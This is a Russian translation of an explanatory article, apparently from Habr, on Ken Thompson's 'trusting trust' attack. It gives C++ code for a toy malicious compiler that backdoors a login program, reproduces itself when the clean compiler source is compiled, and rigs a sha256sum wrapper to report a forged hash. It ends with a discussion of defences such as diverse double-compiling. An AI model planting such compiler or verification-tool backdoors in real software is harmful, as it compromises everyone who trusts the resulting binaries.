Как стать автором
Обновить

Как собрать зловредный компилятор

Время на прочтение12 мин
Количество просмотров18K
Автор оригинала: Akila Welihinda

А вы знали, что бывает такая атака на компилятор через бэкдор, защититься от которой невозможно? В этом посте я покажу вам, как реализовать такую атаку менее чем в 100 строках кода. Кен Томпсон, создатель операционной системы Unix, рассказывал о такой атаке еще в 1984 году в своей лекции по поводу присуждения Премии Тьюринга. Такая атака по-настоящему опасна и сегодня, причем, не известно решений, которые обеспечивали бы полную неуязвимость от нее. Вирус  XcodeGhost, открытый в 2015 году, проводит атаку через бэкдор по методу, предложенному именно Томпсоном. Я покажу здесь атаку Томпсона на языке   C++, но этот пример легко адаптировать для любого другого языка. Дочитав эту статью, вы крепко задумаетесь, а осталось ли у вас вообще какое-то доверие компилятору.


Представляю, сколь скептически вы можете отнестись к моим заявлениям – и, возможно, у вас уже возникли вопросы. Ниже приведу примерный диалог, который мог бы состояться у нас с вами, снять некоторые ваши сомнения и помочь вам почувствовать суть атаки Томпсона.

Я: Откуда вам знать, что ваш компилятор честно компилирует ваш код, не врезая в него никаких бэкдоров?

Вы: Исходный код компилятора обычно свободно распространяется, поэтому кто-нибудь да заметит зловредные компиляторы , врезающие бэкдоры – и сообщит об этом.

Я: Но в конце концов исходный код вашего доверенного компилятора придется собирать при помощи другого компилятора, B. Откуда вам знать, что B не врезает бэкдоры в ваш компилятор прямо в ходе компиляции?

Вы: Думаю, нужно проверить и исходный код компилятора B. Хммм… на самом деле, проверка исходного кода B приведет нас к той же проблеме, поскольку мне придется доверять всему тому, что компилирует B. Может быть, я смог бы дизассемблировать скомпилированный исполняемый файл и проверить, не добавлены ли в него бэкдоры.

Я: Но дизассемблер – это тоже отдельная программа, которую в конечном итоге придется компилировать, поэтому возможно, что бэкдоры будут врезаны в дизассемблер. Взломанный дизассемблер может сам решить, что нужно спрятать бэкдоры в дизассемблируемую программу.

Вы: Какова же вероятность, что такое произойдет? Злоумышленнику придется собрать мой компилятор, а затем при помощи именно этой программы скомпилировать мой дизассемблер.

Я: Деннис Ричи, создавший язык программирования C, заручился поддержкой Кена Томпсона, и вместе они создали Unix (написанный на C). Поэтому, если вы работаете с Unix, то вся ваша операционная система и инструментарий командной строки уязвимы перед атакой Томпсона.

Вы: Пожалуй, очень сложно собрать такой зловредный компилятор, поэтому, надеюсь, подобная атака маловероятна.

Я:  На самом деле, реализовать его очень легко. Покажу вам, как это делается менее чем в 100 строках кода.

Демо

Если хотите увидеть атаку Томпсона в действии, клонируйте этот репозиторий и выполните следующие шаги:

  1. Сначала убедитесь, что простая программа Login.cpp program принимает только пароль “test123”

  2. При помощи зловредного компилятора скомпилируйте программу Login вот так: ./Compiler Login.cpp -o Login

  3. Запустите программу входа в систему при помощи ./Login, а затем введите пароль «backdoor». В результате вы должны успешно залогиниться.

Бдительный читатель подумает, что лучше сначала прочесть и перекомпилировать исходный код компилятора, а только потом использовать. Попробуйте сделать следующее и убедитесь, что пароль «backdoor» все так же работает.

  1. Убедитесь, что код Compiler.cpp чист (не волнуйтесь, это просто 10-строчная обертка вокруг g++)

  2. Перекомпилируйте компилятор из исходников при помощи ./Compiler Compiler.cpp -o cleanCompiler

  3. При помощи чистого компилятора скомпилируйте программу Login вот так ./cleanCompiler Login.cpp -o Login

  4. Запустите программу входа в систему при помощи ./Login и убедитесь, что пароль «backdoor» по-прежнему работает.

Рассмотрим другие шаги, которые также потребуется выполнить, чтобы создать такой зловредный компилятор и скрыть его темные делишки.

1. Создаем чистый компилятор

Поскольку написать собственный компилятор с нуля – это еще не значит продемонстрировать атаку Томпсона, наш «компилятор» будет представлять собой обычную обертку над g++, как показано ниже.

// Compiler.cpp

#include <string>
#include <cstdlib> 

using namespace std;

int main(int argc, char *argv[]) {
    string allArgs = "";
    for(int i=1; i<argc; i++)
        allArgs += " " + string(argv[i]);
    string shellCommand = "g++" + allArgs;
    system(shellCommand.c_str());
}

Можно сгенерировать двоичный код нашего компилятора, выполнив g++ Compiler.cpp -o Compiler, в результате чего у нас получится исполняемый файл “Compiler”. Ниже в качестве примера приведена наша программа  Login, позволяющая войти в систему с правами администратора, если ввести правильный пароль «test123». Позже мы встроим в эту программу бэкдоры, так, что она станет принимать и пароль «бэкдор».

// Login.cpp

#include <iostream>

using namespace std;

int main() {
    cout << "Enter password:" << endl;
    string enteredPassword;
    cin >> enteredPassword;
    if(enteredPassword == "test123")    
        cout << "Successfully logged in as root" << endl;
    else
        cout << "Wrong password, try again." << endl;
}

Можно воспользоваться нашим честным компилятором, чтобы скомпилировать и выполнить программу Login при помощи ./Compiler Login.cpp -o Login && ./Login.

Обратите внимание: наш компилятор может скомпилировать
свой собственный исходный код при помощи./Compiler Compiler.cpp -o newCompiler, так как компилятор C++ сам написан на C++. Так обеспечивается самодостаточность
компилятора (self-hosting), то есть, новые версии нашего компилятора
компилируются при помощи более ранних релизов. Это очень распространенная практика:
и в Python, и в C++, и в Java компиляторы обладают самодостаточностью.
Самодостаточность будет принципиальна в шаге 3, когда мы будем прятать наш
зловредный компилятор.

2. Внедрение бэкдоров

Теперь сделаем так, чтобы наш компилятор внедрил в программу Login бэкдор, через который любой желающий может зайти в нее с паролем «бэкдор». Чтобы этого добиться, наш компилятор должен будет сделать следующее, как только от него потребуют скомпилировать Login.cpp:

  1. Скопировать Login.cpp во временный файл LoginWithBackdoor.cpp

  2. Изменить LoginWithBackdoor.cpp так, чтобы он стал принимать и пароль «backdoor»; это делается при помощи операции «найти и заменить», изменяющей if-условие, проверяющее пароль

  3. Скомпилировать LoginWithBackdoor.cpp вместо Login.cpp

  4. Удалить файл LoginWithBackdoor.cpp

Вот исходный код зловредного компилятора, выполняющий эти четыре шага – можете его пропустить, если в общих чертах поняли, как он устроен.

// EvilCompiler.cpp

#include <string>
#include <cstdlib> 
#include <regex>
#include <fstream>
#include <sstream>
#include <iostream>

using namespace std;

// Поиск по файлу и замена всех включений regexPattern на `newText`
void findAndReplace(string fileName, string regexPattern, string newText) {
    ifstream fileInputStream(fileName);
    stringstream fileContents;
    fileContents << fileInputStream.rdbuf();
    string modifiedSource = regex_replace(fileContents.str(), regex(regexPattern), newText);
    ofstream fileOutputStream(fileName);
    fileOutputStream << modifiedSource;
    fileOutputStream.close();
}

void compileLoginWithBackdoor(string allArgs) {
    system("cat Login.cpp > LoginWithBackdoor.cpp");
    findAndReplace(
        "LoginWithBackdoor.cpp",
        "enteredPassword == \"test123\"",
        "enteredPassword == \"test123\" || enteredPassword == \"backdoor\""
    );
    string modifiedCommand = "g++ " + regex_replace(allArgs, regex("Login.cpp"), "LoginWithBackdoor.cpp");
    system(modifiedCommand.c_str());
    remove("LoginWithBackdoor.cpp");
}

int main(int argc, char *argv[]) {
    string allArgs = "";
    for(int i=1; i<argc; i++)
        allArgs += " " + string(argv[i]);
    string shellCommand = "g++" + allArgs;
    string fileName = string(argv[1]);
    if(fileName == "Login.cpp")
        compileLoginWithBackdoor(allArgs);
    else
        system(shellCommand.c_str());
}

Хотя исходный код программы Login и принимает только пароль “test123”, скомпилированный исполняемый файл будет дополнительно принимать пароль «backdoor», если собрать ее при помощи зловредного компилятора.

> g++ EvilCompiler.cpp -o EvilCompiler
> ./EvilCompiler Login.cpp -o Login
> ./Login
Enter password:
backdoor
Successfully logged in as root
>

Возможно, вы уже заметили, что сорвать атаку через бэкдор легко, достаточно переименовать Login.cpp. Но зловредный компилятор с тем же успехом может решить врезать бэкдоры, основываясь не на именах файлов, а на их содержимом.

Никто на самом деле не станет пользоваться нашим
зловредным компилятором, поскольку любой может прочитать исходный код – и
обязательно заметит, какие фокусы в нем творятся. Чтобы справиться с этой
проблемой, давайте воспользуемся самодостаточностью и скроем, как бэкдор
внедряется в компилятор.

3. Сокрытие инъекции бэкдора

Можно изменить наш компилятор EvilCompiler.cpp так, чтобы он клонировал себя всякий раз, когда от него требуют скомпилировать наш чистый компилятор Compiler.cpp из шага 1. Затем можно раздать двоичный файл EvilCompiler (конечно же, переименованный) как первый релиз нашего самодостаточного компилятора и заявить, что Compiler.cpp – это его исходный код. В таком случае под нашу атаку подставится кто угодно, использующий наш компилятор, даже если они предварительно убедились, что перед началом использования наш компилятор был чист. Даже если человек скачал бы исходный код чистого Compiler.cpp и сам скомпилировал его при помощи EvilCompiler, то сгенерированный исполняемый файл был бы просто копией EvilCompiler. На следующей схеме обрисовано, как с глаз долой спрятаны наш зловредный компилятор и встраиваемые им бэкдоры.

Ниже подсвечены изменения, которые нужно внести, чтобы зловредный компилятор сам себя клонировал. Можете пропустить детали реализации, если идея понятна вам в общем виде.

// EvilCompiler.cpp

...

void cloneMyselfInsteadOfCompiling(int argc, char* argv[]) {
    string myName = string(argv[0]);
    string cloneName = "a.out";
    for(int i=0; i<argc; i++)
        if(string(argv[i]) == "-o" && i < argc - 1) {
            cloneName = argv[i+1];
            break;
        }
    string cloneCmd = "cp " + myName + " " + cloneName;                          
    system(cloneCmd.c_str());
}

int main(int argc, char *argv[]) {
    ...
    if(fileName == "Compiler.cpp")
        cloneMyselfInsteadOfCompiling(argc, argv);
    else if(fileName == "Login.cpp")
        compileLoginWithBackdoor(allArgs);
    else
        system(shellCommand.c_str());
}

Исходный код как в Compiler.cpp так и в Login.cpp совершенно чисты, но скомпилированный двоичный файл Login все равно будет с бэкдором, даже если компилятор, которым вы воспользовались, был заново собран из чистых исходников.

> g++ EvilCompiler.cpp -o FirstCompilerRelease
> ./FirstCompilerRelease Compiler.cpp -o cleanCompiler
> ./cleanCompiler Login.cpp -o Login
> ./Login
Enter password:
backdoor
Successfully logged in as root
>

Если проверить исходный код компилятора или программы Login, пользователя это не защитит, поскольку рано или поздно придется положиться на имеющийся исполняемый файл компилятора (или запрограммировать его с нуля в двоичном коде, чем никто заниматься не будет). Но возможно, что бдительный пользователь заподозрит неладное, проделав перекрестную проверку хеша исполняемого файла Login (сравнив его с ожидаемым значением). Далее изменим наш зловредный компилятор, чтобы еще лучше замести следы: внедрим бэкдор в интерфейс командной строки, делающий хеш.

4. Продолжаем ускользать от обнаружения

Чаще всего целостность программы проверяют так: берут ее хеш SHA-256 и удостоверяются, что он совпадает с ожидаемым значением, полученным от доверенного органа. Но не забывайте: та программа, при помощи которой мы вычисляем SHA-256, может быть с бэкдором, показывающим пользователю то, что он хочет видеть. Иными словами, возможно, что наша хеш-утилита снабжена бэкдором, который прячет бэкдоры, врезанные в других исполняемых файлах. Если такой пример кажется вам натянутым – напомню, что gcc (самый популярный компилятор C) и sha256 оба компилируются при помощи gcc. Поэтому определенно может быть так, что gcc встраивает бэкдоры в другие программы, а потом ставит бэкдор в sha256, чтобы замести следы. Просто в качестве иллюстрации: давайте изменим наш зловредный компилятор так, чтобы он внедрял бэкдор в инструмент sha256sum, и этот инструмент всегда возвращал правильное значение для нашей программы Login. Также проигнорируем тот факт, что в реальности это было бы сложнее сделать, поскольку нельзя жестко забить в программу ожидаемый хеш; ведь двоичный файл Login может измениться при обновлении версий.

Вот чистая версия нашего sha256sum, который просто вызывает существующую реализацию CLI:

// sha256sum.cpp

#include <string>

using namespace std;

int main(int argc, char* argv[]) {
    if(argc >= 2) {
        string fileName = argv[1];
        string computeHashCmd = "sha256sum " + fileName;
        system(computeHashCmd.c_str());
    }
}

Теперь изменим наш зловредный компилятор так, чтобы он встраивал бэкдор в sha256sum во время компиляции.

// EvilCompiler.cpp

...

void compileSha256WithBackdoor(string allArgs) {
    system("cat sha256sum.cpp > sha256sumWithBackdoor.cpp");
    findAndReplace(
        "sha256sumWithBackdoor.cpp",
        "string computeHashCmd .*;",
        "string computeHashCmd = fileName == \"Login\" ? \
            \"echo 'badab8e6b6d73ecaf8e2b44bdffd36a1987af1995097573415ba7d16455e9237  Login'\" \
          : \
            \"sha256sum \" + fileName; \
        "
    );
    string modifiedCommand = "g++ " + regex_replace(allArgs, regex("sha256sum.cpp"), "sha256sumWithBackdoor.cpp");
    system(modifiedCommand.c_str());
    remove("sha256sumWithBackdoor.cpp"); 
}

...

int main(int argc, char *argv[]) {

    ...

    if(fileName == "Compiler.cpp")
        cloneMyselfInsteadOfCompiling(argc, argv);
    else if(fileName == "Login.cpp")
        compileLoginWithBackdoor(allArgs);
    else if(fileName == "sha256sum.cpp")
        compileSha256WithBackdoor(allArgs); 
    else
        system(shellCommand.c_str());
}

Теперь, даже если пользователь решит проверить SHA-256 скомпрометированного исполняемого файла Login при помощи нашей реализации хеша, ему покажется, что все чисто. Посмотрите приведенный ниже SHA-256 чистого двоичного файла Login (первый), который дает то же значение, что и наш инструмент, а далее скомпрометированный двоичный файл Login (второй).

> g++ Login.cpp -o Login          # Собираем нормальный чистый бинарник Login 
> sha256sum Login 
90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9  Login
> rm Login
> ./Compiler Login.cpp -o Login   # Собираем скомпрометированный бинарник Login
> ./Compiler sha256sum.cpp -o sha256sum
> ./sha256sum Login
90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9  Login
> ./Login
Enter password:
backdoor
Successfully logged in as root
>

Таким же способом можно прятать бэкдоры в дизассемблере или в любом другом инструменте верификации.

Усвоенные уроки

Невозможно было поверить в то, что рассказывал лауреат Томпсон в своей лекции. Всего за несколько минут он неиллюзорно продемонстрировал аудитории, что можно засунуть незаметный бэкдор в ту самую программу, которую он сейчас собрал у всех на глазах. Поэтому из речи Томпсона следует два вывода:

В самом деле, нельзя доверять никакому коду, который не написали от начала и до конца вы сами. Никакой верификации на уровне исходников, никакой въедливой проверки не хватит, чтобы защититься от недоверенного кода.

Это касается всех транзитивных зависимостей, компиляторов, операционных систем и любых других программ, выполняющихся на вашем процессоре. Атака Томпсона демонстрирует, что нельзя полностью доверять программе, даже если мы сами полностью перекомпилируем и эту программу, и операционную систему, и весь наш инструментарий – из совершенно чистого исходного кода. 100%-ю безопасность можно лишь в случае, если сам перепишешь все в двоичном коде на уровне компилятора и еще ниже. А даже если вы возьметесь за такую задачу, то единственным, кто сможет доверять такому переписанному коду, будете вы сами.

Чем ниже мы опускаемся в создании программы, тем сложнее и сложнее будет обнаруживать такие «врезанные бэкдоры».

Вы могли бы с легкостью выявить простейшие инъекции бэкдоров, описанные в этом посте, воспользовавшись дизассемблером или реальной утилитой sha256sum, а не скомпрометированной. Обнаружить наш зловредный компилятор (написанный на C++) относительно легко, поскольку он не очень широко применяется и поэтому не может повлиять на верификационные инструменты, которые прятали бы его вмешательства. К сожалению, обнаруживать атаку Томпсона становится сложнее, если зловредный компилятор широко распределен, либо, если атакуемые слои программы находятся гораздо ниже, чем работает компилятор. Представьте, каково будет попытаться обнаружить встраивание бэкдоров у вас в ассемблере, который занимается компиляцией инструкций сборки в машинный код. Злоумышленник также может создать зловредный линковщик, который внедряет бэкдоры в ходе того, как он же сплетает объектные файлы и их символы. Было бы крайне сложно обнаружить такой зловредный ассемблер или линковщик. Самое плохое в данном случае, что зловредный ассемблер/линковщик потенциально может повлиять на множество компиляторов, поскольку многие компиляторы, вероятно, используют одни и те же компоненты.


Выводы получаются пугающими, и, вероятно, у вас возникает вопрос: что же делать, чтобы от всего этого защититься. Как ни жаль, не существует решений, которые обеспечивали бы полную защиту, но достойные контрмеры предпринять можно. Наиболее известной защитной мерой такого рода является диверсифицированная двойная компиляция (DDC), предложенная Дэвидом Уилером в 2009 году. Кратко: DDC использует различные компиляторы, написанные на одном языке, чтобы протестировать целостность выбранного компилятора. Чтобы пройти этот тест, атакующий должен был бы заранее изменить все выбранные компиляторы, получая из них воспроизводимые сборки, которые бы вставляли бэкдоры друг в друга. Это уже серьезный кусок работы. DDC – хорошая идея, но у нее даже навскидку сразу просматриваются 2 недостатка. Во-первых, DDC требует, чтобы у всех выбранных компиляторов были воспроизводимые сборки, а это значит, что из данного исходного кода компилятор всегда генерирует один и тот же компилятор всегда будет создавать один и тот же исполняемый файл. Воспроизводимые сборки не слишком распространены, поскольку по умолчанию компиляторы включают в свои сборки такие вещи, как метки времени и уникальные ID. Второй недостаток заключается в том, что DDC теряет эффективность на тех языках, где существуют лишь считанные компиляторы. А к совсем новым языкам, например, Rust, DDC вообще неприменима, так как компилятор там всего один. Резюмируя: DDC – не панацея, а проблема с атакой Томпсона по-прежнему считается открытой.

Поэтому еще раз спрошу: а вы до сих пор доверяете вашему компилятору?

Теги:
Хабы:
Всего голосов 63: ↑61 и ↓2+59
Комментарии26

Публикации

Истории

Работа

Ближайшие события